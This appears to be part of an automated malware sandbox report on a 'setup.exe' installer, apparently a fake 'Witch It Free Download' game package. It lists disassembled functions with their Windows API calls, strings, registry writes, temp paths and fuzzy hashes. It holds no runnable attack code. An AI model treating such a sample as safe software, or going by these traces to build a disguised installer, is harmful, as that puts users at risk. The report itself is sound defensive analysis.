Instruction Fuzzy Hash: AB029FB0E00209AFDB21DF54DD45AAE7BB5FB84315F10817AF610BA2E1C7799A42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405B88 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 197stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,Completed,00000000,00404F3C,Completed,00000000), ref: 00405C30
GetSystemDirectoryA.KERNEL32(00422E40,00000400), ref: 00405CAB
GetWindowsDirectoryA.KERNEL32(00422E40,00000400), ref: 00405CBE
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405CFA
SHGetPathFromIDListA.SHELL32(00000000,00422E40), ref: 00405D08
CoTaskMemFree.OLE32(00000000), ref: 00405D13
lstrcatA.KERNEL32(00422E40,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D35
lstrlenA.KERNEL32(00422E40,00000000,Completed,00000000,00404F3C,Completed,00000000), ref: 00405D87

Strings

@.B, xrefs: 00405D91
Completed, xrefs: 00405BB9
@.B, xrefs: 00405BB1
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405C7A
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D2F

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: @.B$@.B$Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1438857395
Opcode ID: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
Instruction ID: 2bb53c71d9fe9ef1e56bc14ab20fd8486271744d1d3ead2cb2ad614034e11287
Opcode Fuzzy Hash: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
Instruction Fuzzy Hash: D7510131A04A04AAEF205F64DC88B7B3BA4DF55324F14823BE911B62D0D33C59829E4E

Uniqueness

Uniqueness Score: -1.00%

Function 00404356 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 266stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004043A2
SetWindowTextA.USER32(?,?), ref: 004043CF
SHBrowseForFolderA.SHELL32(?,0041F870,?), ref: 00404484
CoTaskMemFree.OLE32(00000000), ref: 0040448F
lstrcmpiA.KERNEL32(00422E40,004204A0), ref: 004044C1
lstrcatA.KERNEL32(?,00422E40), ref: 004044CD
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044DD

Part of subcall function 0040540B: GetDlgItemTextA.USER32(?,?,00000400,00404510), ref: 0040541E

Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

GetDiskFreeSpaceA.KERNEL32(0041F468,?,?,0000040F,?,0041F468,0041F468,?,00000000,0041F468,?,?,000003FB,?), ref: 00404596
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004045B1
SetDlgItemTextA.USER32(00000000,00000400,0041F458), ref: 0040462A

Strings

@.B, xrefs: 004044BB
A, xrefs: 0040447D

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: @.B$A
API String ID: 2246997448-1561443927
Opcode ID: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
Instruction ID: fa341535892c43c3a67d7fcafb17cb6574160925603278dae289bcadb551eaae
Opcode Fuzzy Hash: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
Instruction Fuzzy Hash: 2D9170B1900218BBDB11AFA1CD84AAF7BB8EF45314F10847BF704B6291D77C9A41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00402020 Relevance: 3.1, APIs: 2, Instructions: 134comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409368,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
Instruction ID: 0b92ce9401c32f92a97655b67b17bc3e2e7042a2ba93bb40bff56c30807ccd12
Opcode Fuzzy Hash: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
Instruction Fuzzy Hash: 94418E75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040264D

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
Instruction ID: b3d2387cb92b068db8966d6a1439c3c253679041c8135bb289436d91baf53d0e
Opcode Fuzzy Hash: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
Instruction Fuzzy Hash: 42F0A072A04201DBD700EBB49A89AEEB7789B51328F60067BE111F20C1C6B85A459B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Witch It Free Download v126 Online.exe,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

Witch It Free Download v126 Online.exe, xrefs: 00401150
F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Witch It Free Download v126 Online.exe
API String ID: 941294808-1452762569
Opcode ID: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction ID: 81477e3a2fde3fb3f26aa953fc06e347994717d76cab2c79682594c458f31f57
Opcode Fuzzy Hash: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction Fuzzy Hash: 8141BC71804249AFCB058FA4CD459BFBFB9FF44314F00802AF551AA1A0C378EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004058B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144filememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,00405649,?,00000000,000000F1,?), ref: 00405901
GetShortPathNameA.KERNEL32(?,00422630,00000400), ref: 0040590A
GetShortPathNameA.KERNEL32(00000000,004220A8,00000400), ref: 00405927
wsprintfA.USER32 ref: 00405945
GetFileSize.KERNEL32(00000000,00000000,004220A8,C0000000,00000004,004220A8,?,?,?,00000000,000000F1,?), ref: 00405980
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 0040598F
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 004059A5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421CA8,00000000,-0000000A,00409350,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004059EB
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 004059FD
GlobalFree.KERNEL32(00000000), ref: 00405A04
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405A0B

Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9

Strings

[Rename], xrefs: 004059B5, 004059C7
0&B, xrefs: 004058EF
%s=%s, xrefs: 0040593B

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$0&B$[Rename]
API String ID: 3772915668-951905037
Opcode ID: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
Instruction ID: 8912a0e40cac8f66f34925055924fb713260e7a12edb00ecfb1cfbef244c1689
Opcode Fuzzy Hash: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
Instruction Fuzzy Hash: D9411332B05B11BBD3216B61AD88F6B3A5CDB84715F140136FE05F22C2E678A801CEBD

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

Strings

"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe", xrefs: 00405DCE
*?|<>/":, xrefs: 00405E10
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DC9, 00405E04

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4097979512
Opcode ID: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
Instruction ID: 3b6179abbfe29fc78842bf11aa846075366cc437f950451d76d565b88bc2b460
Opcode Fuzzy Hash: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
Instruction Fuzzy Hash: A0110861805B9129EB3227284C48BBB7F89CF66754F18447FD8C4722C2C67C5D429FAD

Uniqueness

Uniqueness Score: -1.00%

Function 00403F7F Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F9C
GetSysColor.USER32(00000000), ref: 00403FB8
SetTextColor.GDI32(?,00000000), ref: 00403FC4
SetBkMode.GDI32(?,?), ref: 00403FD0
GetSysColor.USER32(?), ref: 00403FE3
SetBkColor.GDI32(?,?), ref: 00403FF3
DeleteObject.GDI32(?), ref: 0040400D
CreateBrushIndirect.GDI32(?), ref: 00404017

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction ID: 4cc26f8bf5fc777f430f8318c3ba194748f169832e683f7fcd21add738ba3f9d
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: C221C371904705ABCB209F78DD08B4BBBF8AF40711F048A29F992F26E0C738E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040267C Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000B600,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
GlobalFree.KERNEL32(?), ref: 00402725
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
GlobalFree.KERNEL32(00000000), ref: 0040273E
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: b8defe13902d58a52973a2e3f60156d7c1400e5746f24ef4cd0721e59596b3c4
Instruction ID: 719c612f4f238206e278f6e296a81204df483451b361404a9b6a09c3536a307a
Opcode Fuzzy Hash: b8defe13902d58a52973a2e3f60156d7c1400e5746f24ef4cd0721e59596b3c4
Instruction Fuzzy Hash: F831AD71C00128BBDF216FA4CD89DAE7E79EF08364F10423AF920772E0C6795D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402BD3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402BEB
GetTickCount.KERNEL32 ref: 00402C09
wsprintfA.USER32 ref: 00402C37

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C5B
ShowWindow.USER32(00000000,00000005), ref: 00402C69

Part of subcall function 00402BB7: MulDiv.KERNEL32(00364548,00000064,00365E95), ref: 00402BCC

Strings

... %d%%, xrefs: 00402C31

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 17bdaf27663d9d1b2b81c0b918eaf4f945a095ba4556a5c22c1c6286d7ec1668
Instruction ID: c44cf6bb529b7c61e0c77009ed50883557557090b8ffabf6f859222ef57aaf40
Opcode Fuzzy Hash: 17bdaf27663d9d1b2b81c0b918eaf4f945a095ba4556a5c22c1c6286d7ec1668
Instruction Fuzzy Hash: C6016170949210EBD7215F61EE4DA9F7B78AB04701B14403BF502B11E5C6BC9A01CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 004047D3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004047EE
GetMessagePos.USER32 ref: 004047F6
ScreenToClient.USER32(?,?), ref: 00404810
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404822
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404848

Strings

f, xrefs: 00404824

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: 01d6173a61c3c3b4b037133c9a52f1e04ee3049876a8ff08b59bebc5d15cf036
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: BA018075D40218BADB00DB94CC41BFEBBBCAB55711F10412ABB00B61C0C3B46501CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402B3B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B56
wsprintfA.USER32 ref: 00402B8A
SetWindowTextA.USER32(?,?), ref: 00402B9A
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BAC

Strings

verifying installer: %d%%, xrefs: 00402B7F
unpacking data: %d%%, xrefs: 00402B78, 00402B88

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
Instruction ID: 39266fd7d8b3d51d4259f470751267aa52f8e49dbca779dff7f29341b6a717b4
Opcode Fuzzy Hash: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
Instruction Fuzzy Hash: AFF03671900109ABEF255F51DD0ABEE3779FB00305F008036FA05B51D1D7F9AA559F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402303 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402341
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402361
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040239A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Strings

C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp, xrefs: 00402352, 00402360, 00402374, 00402384, 0040238F

Memory Dump Source

